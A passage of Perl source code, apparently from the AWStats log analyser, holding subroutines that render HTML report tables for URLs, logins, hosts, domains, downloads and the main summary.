Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowURLDetail{ my $total_p = 0; my $total_e = 0; my $total_k = 0; my $total_x = 0; # Call to plugins' function ShowPagesFilter foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesFilter'} } ) { my $function = "ShowPagesFilter_$pluginname"; &$function(); } print "$Center<a name=\"urls\"> </a><br />\n"; # Show filter form &HTMLShowFormFilter( "urlfilter", $FilterIn{'url'}, $FilterEx{'url'} ); # Show URL list my $title = ''; my $cpt = 0; if ( $HTMLOutput{'urldetail'} ) { $title = $Message[19]; $cpt = ( scalar keys %_url_p ); } if ( $HTMLOutput{'urlentry'} ) { $title = $Message[104]; $cpt = ( scalar keys %_url_e ); } if ( $HTMLOutput{'urlexit'} ) { $title = $Message[116]; $cpt = ( scalar keys %_url_x ); } &tab_head( "$title", 19, 0, 'urls' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"; if ( $FilterIn{'url'} || $FilterEx{'url'} ) { if ( $FilterIn{'url'} ) { print "$Message[79] <b>$FilterIn{'url'}</b>"; } if ( $FilterIn{'url'} && $FilterEx{'url'} ) { print " - "; } if ( $FilterEx{'url'} ) { print "Exclude $Message[79] <b>$FilterEx{'url'}</b>"; } if ( $FilterIn{'url'} || $FilterEx{'url'} ) { print ": "; } print Format_Number($cpt)." $Message[28]"; if ( $MonthRequired ne 'all' ) { if ( $HTMLOutput{'urldetail'} ) { print "<br />$Message[102]: ".Format_Number($TotalDifferentPages)." $Message[28]"; } } } else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; } print "</th>"; if ( $ShowPagesStats =~ /P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>"; } if ( $ShowPagesStats =~ /B/i ) { print "<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; } if ( $ShowPagesStats =~ /E/i ) { print "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>"; } if ( $ShowPagesStats =~ /X/i ) { print "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>"; } # Call to plugins' function ShowPagesAddField foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) { # my $function="ShowPagesAddField_$pluginname('title')"; # eval("$function"); my $function = "ShowPagesAddField_$pluginname"; &$function('title'); } print "<th> </th></tr>\n"; $total_p = $total_k = $total_e = $total_x = 0; my $count = 0; if ( $HTMLOutput{'urlentry'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_e, \%_url_e ); } elsif ( $HTMLOutput{'urlexit'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_x, \%_url_x ); } else { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_p, \%_url_p ); } my $max_p = 1; my $max_k = 1; foreach my $key (@keylist) { if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; } if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) { $max_k = $_url_k{$key} / ( $_url_p{$key} || 1 ); } } foreach my $key (@keylist) { print "<tr><td class=\"aws\">"; &HTMLShowURLInfo($key); print "</td>"; my $bredde_p = 0; my $bredde_e = 0; my $bredde_x = 0; my $bredde_k = 0; if ( $max_p > 0 ) { $bredde_p = int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1; } if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; } if ( $max_p > 0 ) { $bredde_e = int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1; } if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; } if ( $max_p > 0 ) { $bredde_x = int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1; } if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; } if ( $max_k > 0 ) { $bredde_k = int( $BarWidth * ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) / $max_k ) + 1; } if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; } if ( $ShowPagesStats =~ /P/i ) { print "<td>".Format_Number($_url_p{$key})."</td>"; } if ( $ShowPagesStats =~ /B/i ) { print "<td>" . ( $_url_k{$key} ? Format_Bytes( $_url_k{$key} / ( $_url_p{$key} || 1 ) ) : " " ) . "</td>"; } if ( $ShowPagesStats =~ /E/i ) { print "<td>" . ( $_url_e{$key} ? Format_Number($_url_e{$key}) : " " ) . "</td>"; } if ( $ShowPagesStats =~ /X/i ) { print "<td>" . ( $_url_x{$key} ? Format_Number($_url_x{$key}) : " " ) . "</td>"; } # Call to plugins' function ShowPagesAddField foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) { # my $function="ShowPagesAddField_$pluginname('$key')"; # eval("$function"); my $function = "ShowPagesAddField_$pluginname"; &$function($key); } print "<td class=\"aws\">"; # alt and title are not provided to reduce page size if ( $ShowPagesStats =~ /P/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\" /><br />"; } if ( $ShowPagesStats =~ /B/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\" /><br />"; } if ( $ShowPagesStats =~ /E/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\" /><br />"; } if ( $ShowPagesStats =~ /X/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\" />"; } print "</td></tr>\n"; $total_p += $_url_p{$key}; $total_e += $_url_e{$key}; $total_x += $_url_x{$key}; $total_k += $_url_k{$key}; $count++; } if ($Debug) { debug( "Total real / shown : $TotalPages / $total_p - $TotalEntries / $total_e - $TotalExits / $total_x - $TotalBytesPages / $total_k", 2 ); } my $rest_p = $TotalPages - $total_p; my $rest_k = $TotalBytesPages - $total_k; my $rest_e = $TotalEntries - $total_e; my $rest_x = $TotalExits - $total_x; if ( $rest_p > 0 || $rest_e > 0 || $rest_k > 0 ) { print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; if ( $ShowPagesStats =~ /P/i ) { print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; } if ( $ShowPagesStats =~ /B/i ) { print "<td>" . ( $rest_k ? Format_Bytes( $rest_k / ( $rest_p || 1 ) ) : " " ) . "</td>"; } if ( $ShowPagesStats =~ /E/i ) { print "<td>" . ( $rest_e ? Format_Number($rest_e) : " " ) . "</td>"; } if ( $ShowPagesStats =~ /X/i ) { print "<td>" . ( $rest_x ? Format_Number($rest_x) : " " ) . "</td>"; } # Call to plugins' function ShowPagesAddField foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) { my $function = "ShowPagesAddField_$pluginname"; &$function(''); } print "<td> </td></tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Login details frame or static page # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowLogins{ my $total_p = 0; my $total_h = 0; my $total_k = 0; my $rest_p = 0; my $rest_h = 0; my $rest_k = 0; print "$Center<a name=\"logins\"> </a><br />\n"; my $title = ''; if ( $HTMLOutput{'alllogins'} ) { $title .= "$Message[94]"; } if ( $HTMLOutput{'lastlogins'} ) { $title .= "$Message[9]"; } &tab_head( "$title", 19, 0, 'logins' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : " . Format_Number(( scalar keys %_login_h )) . "</th>"; &HTMLShowUserInfo('__title__'); if ( $ShowAuthenticatedUsers =~ /P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; } if ( $ShowAuthenticatedUsers =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } if ( $ShowAuthenticatedUsers =~ /B/i ) { print "<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } if ( $ShowAuthenticatedUsers =~ /L/i ) { print "<th width=\"120\">$Message[9]</th>"; } print "</tr>\n"; $total_p = $total_h = $total_k = 0; my $count = 0; if ( $HTMLOutput{'alllogins'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Login'}, \%_login_h, \%_login_p ); } if ( $HTMLOutput{'lastlogins'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Login'}, \%_login_h, \%_login_l ); } foreach my $key (@keylist) { print "<tr><td class=\"aws\">$key</td>"; &HTMLShowUserInfo($key); if ( $ShowAuthenticatedUsers =~ /P/i ) { print "<td>" . ( $_login_p{$key} ? Format_Number($_login_p{$key}) : " " ) . "</td>"; } if ( $ShowAuthenticatedUsers =~ /H/i ) { print "<td>".Format_Number($_login_h{$key})."</td>"; } if ( $ShowAuthenticatedUsers =~ /B/i ) { print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>"; } if ( $ShowAuthenticatedUsers =~ /L/i ) { print "<td>" . ( $_login_l{$key} ? Format_Date( $_login_l{$key}, 1 ) : '-' ) . "</td>"; } print "</tr>\n"; $total_p += $_login_p{$key} || 0; $total_h += $_login_h{$key}; $total_k += $_login_k{$key} || 0; $count++; } if ($Debug) { debug( "Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h", 2 ); } $rest_p = $TotalPages - $total_p; $rest_h = $TotalHits - $total_h; $rest_k = $TotalBytes - $total_k; if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other logins and/or anonymous print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[125]</span></td>"; &HTMLShowUserInfo(''); if ( $ShowAuthenticatedUsers =~ /P/i ) { print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; } if ( $ShowAuthenticatedUsers =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } if ( $ShowAuthenticatedUsers =~ /B/i ) { print "<td>" . Format_Bytes($rest_k) . "</td>"; } if ( $ShowAuthenticatedUsers =~ /L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Unknown IP/Host details frame or static page # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowHostsUnknown{ my $total_p = 0; my $total_h = 0; my $total_k = 0; my $rest_p = 0; my $rest_h = 0; my $rest_k = 0; print "$Center<a name=\"unknownip\"> </a><br />\n"; &tab_head( "$Message[45]", 19, 0, 'unknownwip' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>" . Format_Number(( scalar keys %_host_h )) . " $Message[1]</th>"; &HTMLShowHostInfo('__title__'); if ( $ShowHostsStats =~ /P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; } if ( $ShowHostsStats =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } if ( $ShowHostsStats =~ /B/i ) { print "<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } if ( $ShowHostsStats =~ /L/i ) { print "<th width=\"120\">$Message[9]</th>"; } print "</tr>\n"; $total_p = $total_h = $total_k = 0; my $count = 0; &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h, \%_host_p ); foreach my $key (@keylist) { my $host = CleanXSS($key); print "<tr><td class=\"aws\">$host</td>"; &HTMLShowHostInfo($key); if ( $ShowHostsStats =~ /P/i ) { print "<td>" . ( $_host_p{$key} ? Format_Number($_host_p{$key}) : " " ) . "</td>"; } if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($_host_h{$key})."</td>"; } if ( $ShowHostsStats =~ /B/i ) { print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>"; } if ( $ShowHostsStats =~ /L/i ) { print "<td>" . ( $_host_l{$key} ? Format_Date( $_host_l{$key}, 1 ) : '-' ) . "</td>"; } print "</tr>\n"; $total_p += $_host_p{$key}; $total_h += $_host_h{$key}; $total_k += $_host_k{$key} || 0; $count++; } if ($Debug) { debug( "Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h", 2 ); } $rest_p = $TotalPages - $total_p; $rest_h = $TotalHits - $total_h; $rest_k = $TotalBytes - $total_k; if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other visitors (known or not) print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[82]</span></td>"; &HTMLShowHostInfo(''); if ( $ShowHostsStats =~ /P/i ) { print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; } if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } if ( $ShowHostsStats =~ /B/i ) { print "<td>" . Format_Bytes($rest_k) . "</td>"; } if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Host details frame or static page # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowHosts{ my $total_p = 0; my $total_h = 0; my $total_k = 0; my $rest_p = 0; my $rest_h = 0; my $rest_k = 0; print "$Center<a name=\"hosts\"> </a><br />\n"; # Show filter form &HTMLShowFormFilter( "hostfilter", $FilterIn{'host'}, $FilterEx{'host'} ); # Show hosts list my $title = ''; my $cpt = 0; if ( $HTMLOutput{'allhosts'} ) { $title .= "$Message[81]"; $cpt = ( scalar keys %_host_h ); } if ( $HTMLOutput{'lasthosts'} ) { $title .= "$Message[9]"; $cpt = ( scalar keys %_host_h ); } &tab_head( "$title", 19, 0, 'hosts' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"; if ( $FilterIn{'host'} || $FilterEx{'host'} ) { # With filter if ( $FilterIn{'host'} ) { print "$Message[79] '<b>$FilterIn{'host'}</b>'"; } if ( $FilterIn{'host'} && $FilterEx{'host'} ) { print " - "; } if ( $FilterEx{'host'} ) { print " Exclude $Message[79] '<b>$FilterEx{'host'}</b>'"; } if ( $FilterIn{'host'} || $FilterEx{'host'} ) { print ": "; } print "$cpt $Message[81]"; if ( $MonthRequired ne 'all' ) { if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) { print "<br />$Message[102]: ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]"; } } } else { # Without filter if ( $MonthRequired ne 'all' ) { print "$Message[102] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]"; } else { print "$Message[102] : " . Format_Number(( scalar keys %_host_h )); } } print "</th>"; &HTMLShowHostInfo('__title__'); if ( $ShowHostsStats =~ /P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; } if ( $ShowHostsStats =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } if ( $ShowHostsStats =~ /B/i ) { print "<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } if ( $ShowHostsStats =~ /L/i ) { print "<th width=\"120\">$Message[9]</th>"; } print "</tr>\n"; $total_p = $total_h = $total_k = 0; my $count = 0; if ( $HTMLOutput{'allhosts'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h, \%_host_p ); } if ( $HTMLOutput{'lasthosts'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h, \%_host_l ); } my $regipv4=qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; if ( $DynamicDNSLookup == 2 ) { # Use static DNS file &Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 ); } foreach my $key (@keylist) { my $host = CleanXSS($key); print "<tr><td class=\"aws\">" . ( $_robot_l{$key} ? '<b>' : '' ) . "$host" . ( $_robot_l{$key} ? '</b>' : '' ); if ($DynamicDNSLookup) { # Dynamic reverse DNS lookup if ($host =~ /$regipv4/o) { my $lookupresult=lc(gethostbyaddr(pack("C4",split(/\./,$host)),AF_INET)); # This may be slow if (! $lookupresult || $lookupresult =~ /$regipv4/o || ! IsAscii($lookupresult)) { if ( $DynamicDNSLookup == 2 ) { # Check static DNS file $lookupresult = $MyDNSTable{$host}; if ($lookupresult) { print " ($lookupresult)"; } else { print ""; } } else { print ""; } } else { print " ($lookupresult)"; } } } print "</td>"; &HTMLShowHostInfo($key); if ( $ShowHostsStats =~ /P/i ) { print "<td>" . ( $_host_p{$key} ? Format_Number($_host_p{$key}) : " " ) . "</td>"; } if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($_host_h{$key})."</td>"; } if ( $ShowHostsStats =~ /B/i ) { print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>"; } if ( $ShowHostsStats =~ /L/i ) { print "<td>" . ( $_host_l{$key} ? Format_Date( $_host_l{$key}, 1 ) : '-' ) . "</td>"; } print "</tr>\n"; $total_p += $_host_p{$key}; $total_h += $_host_h{$key}; $total_k += $_host_k{$key} || 0; $count++; } if ($Debug) { debug( "Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h", 2 ); } $rest_p = $TotalPages - $total_p; $rest_h = $TotalHits - $total_h; $rest_k = $TotalBytes - $total_k; if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other visitors (known or not) print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; &HTMLShowHostInfo(''); if ( $ShowHostsStats =~ /P/i ) { print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; } if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } if ( $ShowHostsStats =~ /B/i ) { print "<td>" . Format_Bytes($rest_k) . "</td>"; } if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Domains details frame or static page # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowDomains{ my $total_p = 0; my $total_h = 0; my $total_k = 0; my $total_v = 0; my $total_u = 0; my $rest_p = 0; my $rest_h = 0; my $rest_k = 0; my $rest_v = 0; my $rest_u = 0; print "$Center<a name=\"domains\"> </a><br />\n"; # Show domains list my $title = ''; my $cpt = 0; if ( $HTMLOutput{'alldomains'} ) { $title .= "$Message[25]"; $cpt = ( scalar keys %_domener_h ); } &tab_head( "$title", 19, 0, 'domains' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>"; if ( $ShowDomainsStats =~ /U/i ) { print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>"; } if ( $ShowDomainsStats =~ /V/i ) { print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>"; } if ( $ShowDomainsStats =~ /P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; } if ( $ShowDomainsStats =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } if ( $ShowDomainsStats =~ /B/i ) { print "<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } print "<th> </th>"; print "</tr>\n"; $total_u = $total_v = $total_p = $total_h = $total_k = 0; my $max_h = 1; foreach ( values %_domener_h ) { if ( $_ > $max_h ) { $max_h = $_; } } my $max_k = 1; foreach ( values %_domener_k ) { if ( $_ > $max_k ) { $max_k = $_; } } my $count = 0; &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_domener_h, \%_domener_p ); foreach my $key (@keylist) { my ( $_domener_u, $_domener_v ); my $bredde_p = 0; my $bredde_h = 0; my $bredde_k = 0; if ( $max_h > 0 ) { $bredde_p = int( $BarWidth * $_domener_p{$key} / $max_h ) + 1; } # use max_h to enable to compare pages with hits if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; } if ( $max_h > 0 ) { $bredde_h = int( $BarWidth * $_domener_h{$key} / $max_h ) + 1; } if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; } if ( $max_k > 0 ) { $bredde_k = int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) + 1; } if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; } my $newkey = lc($key); if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) { print "<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\"" . AltTitle("$Message[0]") . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>"; } else { print "<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\"" . AltTitle("$newkey") . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>"; } ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE if ( $ShowDomainsStats =~ /U/i ) { $_domener_u = ( $_domener_p{$key} ? $_domener_p{$key} / $TotalPages : 0 ); $_domener_u += ( $_domener_h{$key} / $TotalHits ); $_domener_u = sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 ); print "<td>".Format_Number($_domener_u)." (" . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique ) . ")</td>"; } if ( $ShowDomainsStats =~ /V/i ) { $_domener_v = ( $_domener_p{$key} ? $_domener_p{$key} / $TotalPages : 0 ); $_domener_v += ( $_domener_h{$key} / $TotalHits ); $_domener_v = sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 ); print "<td>".Format_Number($_domener_v)." (" . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits ) . ")</td>"; } if ( $ShowDomainsStats =~ /P/i ) { print "<td>".Format_Number($_domener_p{$key})."</td>"; } if ( $ShowDomainsStats =~ /H/i ) { print "<td>".Format_Number($_domener_h{$key})."</td>"; } if ( $ShowDomainsStats =~ /B/i ) { print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>"; } print "<td class=\"aws\">"; if ( $ShowDomainsStats =~ /P/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\"" . AltTitle( "$Message[56]: " . int( $_domener_p{$key} ) ) . " /><br />\n"; } if ( $ShowDomainsStats =~ /H/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\"" . AltTitle( "$Message[57]: " . int( $_domener_h{$key} ) ) . " /><br />\n"; } if ( $ShowDomainsStats =~ /B/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\"" . AltTitle( "$Message[75]: " . Format_Bytes( $_domener_k{$key} ) ) . " />"; } print "</td>"; print "</tr>\n"; $total_u += $_domener_u; $total_v += $_domener_v; $total_p += $_domener_p{$key}; $total_h += $_domener_h{$key}; $total_k += $_domener_k{$key} || 0; $count++; } my $rest_u = $TotalUnique - $total_u; my $rest_v = $TotalVisits - $total_v; $rest_p = $TotalPages - $total_p; $rest_h = $TotalHits - $total_h; $rest_k = $TotalBytes - $total_k; if ( $rest_u > 0 || $rest_v > 0 || $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other domains (known or not) print "<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; } if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; } if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; } if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; } if ( $ShowDomainsStats =~ /B/i ) { print "<td>" . Format_Bytes($rest_k) . "</td>"; } print "<td class=\"aws\"> </td>"; print "</tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Downloads code frame or static page # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowDownloads{ my $regext = qr/\.(\w{1,6})$/; print "$Center<a name=\"downloads\"> </a><br />\n"; &tab_head( $Message[178], 19, 0, "downloads" ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]</th>"; if ( $ShowFileTypesStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>" ."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; } if ( $ShowFileTypesStats =~ /B/i ){ print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; } print "</tr>\n"; my $count = 0; for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ print "<tr>"; my $ext = Get_Extension($regext, $u); if ( !$ext) { print "<td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/mime\/unknown.png\"" . AltTitle("") . " /></td>"; } else { my $nameicon = $MimeHashLib{$ext}[0] || "notavailable"; my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || " "; print "<td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/mime\/$nameicon.png\"" . AltTitle("") . " /></td>"; } print "<td class=\"aws\">"; &HTMLShowURLInfo($u); print "</td>"; if ( $ShowFileTypesStats =~ /H/i ){ print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>"; print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>"; } if ( $ShowFileTypesStats =~ /B/i ){ print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>"; print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/ ($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>"; } print "</tr>\n"; $count++; if ($count >= $MaxRowsInHTMLOutput){last;} } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Summary section at the top of the main page # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainSummary{ if ($Debug) { debug( "ShowSummary", 2 ); } # FirstTime LastTime my $FirstTime = 0; my $LastTime = 0; foreach my $key ( keys %FirstTime ) { my $keyqualified = 0; if ( $MonthRequired eq 'all' ) { $keyqualified = 1; } if ( $key =~ /^$YearRequired$MonthRequired/ ) { $keyqualified = 1; } if ($keyqualified) { if ( $FirstTime{$key} && ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) ) { $FirstTime = $FirstTime{$key}; } if ( $LastTime < ( $LastTime{$key} || 0 ) ) { $LastTime = $LastTime{$key}; } } } #print "$Center<a name=\"summary\"> </a><br />\n"; my $title = "$Message[128]"; &tab_head( "$title", 0, 0, 'month' ); my $NewLinkParams = ${QueryString}; $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)year=[^&]*//i; $NewLinkParams =~ s/(^|&|&)month=[^&]*//i; $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; $NewLinkParams =~ s/(&|&)+/&/i; $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } my $NewLinkTarget = ''; if ( $FrameName eq 'mainright' ) { $NewLinkTarget = " target=\"_parent\""; } # Ratio my $RatioVisits = 0; my $RatioPages = 0; my $RatioHits = 0; my $RatioBytes = 0; if ( $TotalUnique > 0 ) { $RatioVisits = int( $TotalVisits / $TotalUnique * 100 ) / 100; } if ( $TotalVisits > 0 ) { $RatioPages = int( $TotalPages / $TotalVisits * 100 ) / 100; } if ( $TotalVisits > 0 ) { $RatioHits = int( $TotalHits / $TotalVisits * 100 ) / 100; } if ( $TotalVisits > 0 ) { $RatioBytes = int( ( $TotalBytes / 1024 ) * 100 / ( $LogType eq 'M' ? $TotalHits : $TotalVisits ) ) / 100; } my $colspan = 5; my $w = '20'; if ( $LogType eq 'W' || $LogType eq 'S' ) { $w = '17'; $colspan = 6; } # Show first/last print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; print "<td class=\"aws\"><b>$Message[133]</b></td><td class=\"aws\" colspan=\"" . ( $colspan - 1 ) . "\">\n"; print( $MonthRequired eq 'all' ? "$Message[6] $YearRequired" : "$Message[5] " . $MonthNumLib{$MonthRequired} . " $YearRequired" ); print "</td></tr>\n"; print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; print "<td class=\"aws\"><b>$Message[8]</b></td>\n"; print "<td class=\"aws\" colspan=\"" . ( $colspan - 1 ) . "\">" . ( $FirstTime ? Format_Date( $FirstTime, 0 ) : "NA" ) . "</td>"; print "</tr>\n"; print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; print "<td class=\"aws\"><b>$Message[9]</b></td>\n"; print "<td class=\"aws\" colspan=\"" . ( $colspan - 1 ) . "\">" . ( $LastTime ? Format_Date( $LastTime, 0 ) : "NA" ) . "</td>\n"; print "</tr>\n"; # Show main 